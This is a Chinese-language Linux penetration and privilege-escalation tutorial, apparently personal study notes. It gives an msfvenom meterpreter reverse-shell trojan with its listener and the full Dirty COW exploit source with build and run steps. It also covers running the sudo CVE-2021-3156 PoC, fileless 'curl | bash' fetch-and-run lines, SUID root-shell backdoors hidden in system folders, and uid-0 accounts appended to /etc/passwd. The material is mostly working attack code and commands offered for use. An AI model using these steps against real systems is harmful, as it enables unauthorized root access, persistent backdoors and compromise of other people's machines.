目录
基础渗透
msfvomen木马生成
开启监听
下载运行木马
会话提升
信息搜集
linux提权
suid粘滞位提权
普通用户修改不了密码原因
利用find进行提权
内核提权:脏牛漏洞
步骤:
sudo提权
影响范围
漏洞探测
无文件连接
后门植入
第一种
第二种
第三种
linux漏洞库
痕迹清除
msfvenom -a x86 -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f elf -o /var/www/html/linux.elf
#-a 表示架构
#-f 指定输出的格式
#这里不能使用重定向
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
setg LHOST 192.168.0.107
setg LPORT 4444
exploit / run
wget http://192.168.0.107/linux.elf
#直接从网络上下载运行木马
#需要赋予执行权限
#或者
scp /var/www/html/linux.elf 192.168.0.120:/root/
#直接发送到对方的主机
#需要赋予执行权限
python -c "import pty;pty.spawn('/bin/bash')"
#在meterpreter中使用shell命令后,在输入这个命令 就可以进入 [root@localhost ~]#
#我们本身时什么权限,会话提之后就是什么权限
cat /proc/cpuinfo
#查看cpu信息
cat /var/lib/mysql/mysql/user.MYD
#mysql密码默认位置路径
cat /etc/passwd
#普通用户可以查看,内容是账号密码信息(密码放在shadow里)
/sbin/ifconfig -a
#查看网络的配置信息
crontab -l
#列出计划任务
dpkg -l
#查看安装包(根据安装的包的版本找漏洞)
#ubuntu的命令
cat /etc/*release
#查看发行版信息(centenos和ubuntu都可以)
cat /proc/version
#查看内核版本的全部信息(都适用)
uname -a
#查看内核版本的全部信息(都适用)
cd 到根目录,可以看到bin是以软连接形式到/usr/bin目录,
lrwxrwxrwx. 1 root root 7 Apr 19 16:05 bin -> usr/bin
在bin目录下查看passwd权限,看到有一个s的特殊权限,普通用户是可以以管理员用户权限来使用这个命令
-rwsr-xr-x. 1 root root 27856 Mar 31 2020 passwd
普通用户查看shadow文件的时候,权限是拒绝的
cat: /etc/shadow: Permission denied
find原来的权限
-rwxr-xr-x. 1 root root 199304 Oct 30 2018 usr/bin/find
find / -perm -u=s -type f 2>/dev/null
#查找具有suid应用程序(默认以root权限执行的程序 -u=s 粘滞位 4xxx)
#find 指令
#/ 根目录(查找位置)
#-perm 权限
#-u 用户(s=特权)
#-type 类型
#f 文件
#2>/dev/nul 过滤错误信息(不显示错误信息)
find /etc/passwd -exec whoami \;
#找到文件,执行whoami命令。
#执行这一条命令,执行结果只显示后面的命令
chmod u+s /bin/find
#给find加上特殊权限s(让使用find命令的用户可以以普通用户的身份去拥有等同于root用户使用find的权限)
find /etc/passwd -exec cat /etc/shadow \;
#使用这个语句可以让普通用户访问shadow文件
脚本网址
https://github.com/FireFart/dirtycow/blob/master/dirty.c
可以两种形式下载该脚本文件:
①直接用windows访问网站下载下来进行查看文件,然后把文件拷贝内容到目标主机进行创建c语言文件(比较好用)
②直接用wget进行下载
脏牛的c语言文件内容
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
1.上传脏牛到靶机
2.对脏牛漏洞进行编译:
gcc -pthread dirty.c -o dirty -lcrypt
#对c语言文件进行编译
#可能不存在gcc,没有的话就对其下载 yum -y install gcc
#直接复制粘贴脚本文件,可能在开头缺少东西会报错。在虚拟机粘贴都是可能存在报错的,我用wsl中的centenos7进行编译就没问题了
3.使用漏洞
chmod u+x dirty
#赋予编译完的脏牛脚本可执行权限。如果不能赋予权限报错的话,那么可以切换到家目录下面进行权限修改
./dirty
#运行编译完的文件
########################
运行成功的样子
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
#默认用户是firefart
########################
攻击完成的样子
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'Aa123456'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
########################
攻击完成没有创建用户成功说明
此内核漏洞与2017就被修复,除非是2017至今天没有更新过的系统才存在此漏洞
4.换源/etc/passwd
mv /tmp/passwd.bak /etc/passwd
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
sudo -V
#查看当前系统版本是否在影响范围
用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令,
若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以“ usage:”开头的错误响应。
poc地址: https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
利用
get https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156
chmod u+x *
make
./sudo-hax-me-a-sandwich 0
wget -qO - http://IP/file | bash
curl http://IP/file | bash
复制/bin/bash到任意文件夹,然后以普通用户的权限去运行复制出来的文件,从而得到管理员权限
cp /bin/bash /tmp/shell
#复制/bin/bash到/tmp/shell文件中
chmod u+s /tmp/shell
#赋予shell特殊权限s
./shell -p
#运行shell得到权限。
#没加-p就只是普通用户权限
利用脚本进行提权
①创建一个c语言脚本文件
#include
main(){
setuid(0);
system("/bin/bash");
}
②编译脚本文件
gcc shell.c -o shell
③给脚本文件运行权限以及特殊权限s
chmod 4777 shell
④隐藏文件到其他比较唬人的文件夹
mv /tmp/shell /usr
⑤切换成普通用户,运行该文件就可以得到管理员权限
./shell
/etc/passwd后门
第①种
在复制passwd中的root用户的那一行内容到文件中间或者后面,家目录不与root相同。相当于新建了一个uid为0的用户,还是比较容易发现的。
test:x:0:0:root:/test:/bin/bash
#可以直接切换到test用户,具有管理员权限
第②种
相当于创建一个与root用户共用家目录的用户
openssl passwd 密码
#生成有效密码(就是passwd中加密过后的密码)
echo ssdbb:PUvXtuNOGSUBc:0:0:TEST:/root:/bin/bash >> /etc/passwd
#创建一个与root用户共用家目录的用户。登陆该账号之后,显示的用户还是root。
#登陆样子 [root@localhost qita]#
注意:只要将用户的uid和家目录改成一样的,登陆进去就是你所修改的用户
https://github.com/qazbnm456/awesome-cve-poc
https://github.com/SecWiki/linux-kernel-exploits
https://download.csdn.net/download/h1825819493/87918551